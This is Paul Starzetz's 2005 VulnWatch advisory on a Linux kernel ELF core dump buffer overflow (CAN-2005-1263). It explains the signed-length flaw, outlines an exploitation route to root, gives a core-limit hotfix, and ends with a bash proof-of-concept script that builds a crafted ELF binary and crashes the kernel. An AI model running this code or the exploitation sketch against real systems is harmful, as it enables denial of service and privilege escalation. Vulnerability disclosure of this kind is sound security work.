

[VulnWatch] Linux kernel ELF core dump privilege elevation

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2005-05/0013.html>

From: Paul Starzetz (*ihaquer_at_isec.pl*)

Date: 05/11/05

Date: Wed, 11 May 2005 13:08:56 +0200 (CEST)

To: full-disclosure@lists.netsys.com, <bugtraq@securityfocus.com>, <vulnwatch@vulnwatch.org>

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Hi,

since it became clear from the discussion in January about the `uselib()` vulnerability, that the Linux community prefers full, non-embargoed disclosure of kernel bugs, I release full details right now. However to follows at least some of the responsible disclosure rules, no exploit code will be released. Instead, only a proof-of-concept code is released to demonstrate the vulnerability.

regards

Paul Starzetz
iSEC Security Research
<http://isec.pl/>

Synopsis: Linux kernel ELF core dump privilege elevation

Product: Linux kernel

Version: 2.2 up to and including 2.2.27-rc2, 2.4 up to and including 2.4.31-pre1, 2.6 up to and including 2.6.12-rc4

Vendor: <http://www.kernel.org/>

URL: <http://isec.pl/vulnerabilities/isec-0023-coredump.txt>

CVE: CAN-2005-1263

Severity: local(9)

Author: Paul Starzetz <ihaquer@isec.pl>

Date: May 11, 2005

Issue:

=====

A locally exploitable flaw has been found in the Linux ELF binary format loader's core dump function that allows local users to gain root

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

privileges and also execute arbitrary code at kernel privilege level.

Details:

=====

The Linux kernel contains a binary format loader layer to load (execute) programs in different binary formats like ELF or a.out. Some of the binary format modules like ELF provide an additional function to the kernel layer named `core_dump()`. The kernel may call this function if a fault (e.g. memory access error) occurs during the execution of the binary. The `core_dump()` function will be called by the kernel, if the process's limit for the core file (`RLIMIT_CORE`) is sufficiently high and the process's binary format supports core dumping.

The regular task of the `core_dump()` function is to create an on disk image of the faulty binary at the moment of the execution fault for debugging purposes. In the case of an ELF binary, the image will contain a memory fingerprint of the binary, its registers and moreover some kernel level structures containing the kernel state of the faulty process.

An analyze of the ELF's function `elf_core_dump()` from `binfmt_elf.c` revealed a flaw in the handling of the argument area of an ELF process. The argument area is the memory region of the process (in user space) that contains program arguments at the time of its initial execution (`argc` and `argv` arguments to the C `main()` function, `arg_start` and `arg_end` fields in the process's memory descriptor).

Discussion:

=====

The vulnerable code resides in `fs/binfmt_elf.c` in your preferable version of the Linux kernel source code tree:

```
static int elf_core_dump(long signr, struct pt_regs * regs, struct file * file)
{
    struct elf_prpsinfo psinfo; /* NT_PRPSINFO */

    /* first copy the parameters from user space */
    memset(&psinfo, 0, sizeof(psinfo));
    {
[*] int i, len;

        len = current->mm->arg_end - current->mm->arg_start;
[**] if (len >= ELF_PRARGSZ)
            len = ELF_PRARGSZ-1;
[1167] copy_from_user(&psinfo.pr_psargs,
                    (const char *)current->mm->arg_start, len);
```

where the line numbers are all valid for the 2.4.30 kernel version. As can be seen from [*] the `len` variable supplied to the `copy_from_user()`

function is signed and can potentially take a negative value. That will let the check `[**]` pass (since the `ELF_PRARGSZ` constant is defined signed the check will be performed with signed arithmetic) and cause a kernel stack buffer overflow. Note that a negative length provided to `copy_from_user()` will be interpreted as a very high positive byte copy count, since the length argument of the `copy_from_user()` function is defined unsigned itself.

However, there is at least one difficulty – how could the `len` argument become negative? A fast `grep` through the source code reveals that the `arg_start/end` fields are set only during execution of a new program. In case of ELF this is performed in the `create_elf_tables()` subroutine from `binfmt_elf.c`, so that in theory those fields are always reset to safe values. Paradoxically, there is a flaw in the `create_elf_tables()` function, that can permit a binary to "inherit" old values from the preceding binary (during binary execution the task descriptor as well as the memory descriptor are kept). A look at the code in question reveals:

```
static elf_addr_t *
create_elf_tables(char *p, int argc, int envc,
                 struct elfhdr * exec,
                 unsigned long load_addr,
                 unsigned long load_bias,
                 unsigned long interp_load_addr, int ibcs)
{
    current->mm->arg_start = (unsigned long) p;
    while (argc-->0) {
        __put_user((elf_caddr_t)(unsigned long)p,argv++);
        len = strlen_user(p, PAGE_SIZE*MAX_ARG_PAGES);
        if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
[239] return NULL;
        p += len;
    }
    __put_user(NULL, argv);
    current->mm->arg_end = current->mm->env_start = (unsigned long) p;
```

Obviously it is possible to return from `create_elf_tables()` without setting `arg_end` (but with `arg_start` set to a new value), if the `strlen_user()` function fails to count the length of the binary argument(s) supplied. If the `arg_start` value becomes higher than the previous end of arguments in the "binary before", the difference `<arg_end-arg_start>` will evaluate to a negative value, permitting the buffer overflow described before.

To exactly understand how the `strlen_user()` function could fail counting argument length, we would have to dig very deeply into the internals of binary execution as well as into those of ELF. However in order not to sacrifice the brevity of an advisory, here comes the trick:

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

It is possible to create a manipulated ELF binary, that specifies an ELF program section to be loaded at the place of program arguments, but with no access rights itself (that is, a page table level protection equal to PROT_NONE). That will cause the `strlen_user()` function to page fault at the first attempt to count argument lengths. Moreover, the loading of ELF sections happens just after the initial arguments have been set up in the fresh memory space, so that it is easily possible to "override" the predefined ELF memory layout. To illustrate this, here two memory layouts:

(1) initial ELF memory layout before starting to load program sections:

```
-----EMPTY-----[ ARGVS stack region ] TASK_SIZE
```

(2) possible memory layout after loading ELF sections:

```
-----[CODE][DATA]-----[FAKE][stack region ] TASK_SIZE
```

where FAKE is an ELF section mmaped into memory with PROT_NONE rights specified.

Last aspect to discuss here is the exploitability under real world conditions. There is a "bug in the bug": if the `copy_from_user()` function will be called with a very high byte count, it will revert to zeroing the kernel buffer supplied (due to the `access_ok()` checking), effectively killing the kernel memory space. However, we believe that it is possible to carefully prepare the overflow environment in order to make the bug exploitable. Here just the sketch:

- the buffer overflow resides on the task's stack in the kernel space, that is, if the overflow occurs, everything following the `task_struct` in kernel space will be zero-killed

- if the task struct resides just before the end of the kernel accessible memory, this will cause a kernel Ooops and kill the current task but probably leave the system stable. If some kernel structure follows the task struct and contains pointers that are not checked by the kernel before dereference, this immediately leads to elevated privileges

- in the case of SMP the bug is easily exploitable under real world conditions as follows: two tasks are created at adjacent kernel addresses (that can be accomplished by creating 3 tasks, core dumping one of them and inspecting the parent/sibling pointers from the `task_struct`!). The first task triggers the overflow, so that the second `task_struct` is filled with zeros. The second task running on a second CPU repeatedly issues a "lcall 27" ABI call, that will use `current->exec_domain` pointer without check (stored at the early beginning of the `task_struct`). If the second task sets up proper structures in its virtual memory space, this will let the second task enter kernel privilege level 0 and permit a recovery from the buffer

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

overflow.

We were able to successfully exploit the bug under laboratory conditions even on a single CPU machine.

Impact:

=====

Unprivileged local users may gain elevated (root) privileges. Code may be executed at the kernel privilege level potentially breaking out of Linux virtual machines. A hotfix for this vulnerability is to disallow processes to drop core. This can be accomplished by setting the hard core size limit to 0.

Credits:

=====

Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS.

References:

=====

[1] http://www.skyfree.org/linux/references/ELF_Format.pdf

[2] <http://www.gnu.org/software/binutils/manual/ld-2.9.1/>

Disclaimer:

=====

This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied.

The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected.

Appendix:

=====

```
#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
```

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

```
/*
 * Linux binfmt_elf core dump buffer overflow
 *
 * Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */
// phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#include <sys/time.h>
#include <sys/resource.h>

#include <asm/page.h>

static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];

void fatal(const char *msg)
{
    if(!errno) {
        fprintf(stderr, "\nFATAL: %s\n", msg);
    }
    else {
        printf("\n");
        perror(msg);
    }
    fflush(stdout); fflush(stderr);
    _exit(129);
}

int main(int ac, char **av)
{
    int esp, i, r;
    struct rlimit rl;

    __asm__("movl %%esp, %0" : : "m"(esp));
    printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]),
    esp);
    rl.rlim_cur = RLIM_INFINITY;
    rl.rlim_max = RLIM_INFINITY;
    r = setrlimit(RLIMIT_CORE, &rl);
    if(r) fatal("setrlimit");
}
```

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

```
memset(env, 0, sizeof(env) );
memset(argv, 0, sizeof(argv) );
memset(page, 'A', sizeof(page) );
page[PAGE_SIZE-1]=0;

// move up env & exec phase 2
if(!strcmp(av[0], "AAAA")) {
    printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
    argv[0] = "elfcd2";
    argv[1] = page;

// term 0 counts!
    memset(buf, 0, sizeof(buf) );
    for(i=0; i<789 + 4; i++)
        buf[i] = 'C';
    argv[2] = buf;
    execve(argv[0], argv, env);
    _exit(127);
}

// move down env & reexec
for(i=0; i<9; i++)
    env[i] = page;

argv[0] = "AAAA";
printf("\n[+] phase 1"); fflush(stdout);
execve(av[0], argv, env);

return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
// phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>

#include <sys/syscall.h>

#include <asm/page.h>

#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_getpid __NR_getpid

char stack[4096 * 6];
static int errno;

inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
```

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

```
inline _syscall0(int, sys_getpid);

// yeah, lets do it
void killme()
{
char c='a';
int pid;

    pid = sys_getpid();
    for(;;) {
        sys_read(0, &c, 1);
        sys_kill(pid, 11);
    }
}

// safe stack stub
__asm__(
    "nop \n"
    "_start: movl $0xbfff6ffc, %esp \n"
    "jmp killme \n"
    ".global _start \n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
    "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib);
SEARCH_DIR(/usr/i486-suse-linux/lib);

MEMORY
{
    ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
    rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}

PHDRS
{
    headers PT_PHDR PHDRS ;
    text PT_LOAD FILEHDR PHDRS ;
    fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
}

SECTIONS
{
    .dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme

    . = 0xbfff0000 + SIZEOF_HEADERS;
    .text : { *(.text) } >ram :text
}
```

VulnWatch: [VulnWatch] Linux kernel ELF core dump privilege elevation

```
.data : { *(.data) } >ram :text
.bss :
{
*(.dynbss)
*(.bss)
*(.bss.*)
*(.gnu.linkonce.b.*)
*(COMMON)
. = ALIGN(32 / 8);
} >ram :text

}
__EOF__
```

```
# compile & run
echo -n "[+] Compiling..."
gcc -O2 -Wall elfcd1.c -o elfcd1
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
./elfcd1
```

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.0.7 (GNU/Linux)

```
iD8DBQFCgefMC+8U3Z5wpu4RAnFjAKDFK65U0CBHXxpUhx00GpVowRPU3ACcDRpz
r2WJc+3mWorh8ldrtEFLnss=
=qCFi
```

-----END PGP SIGNATURE-----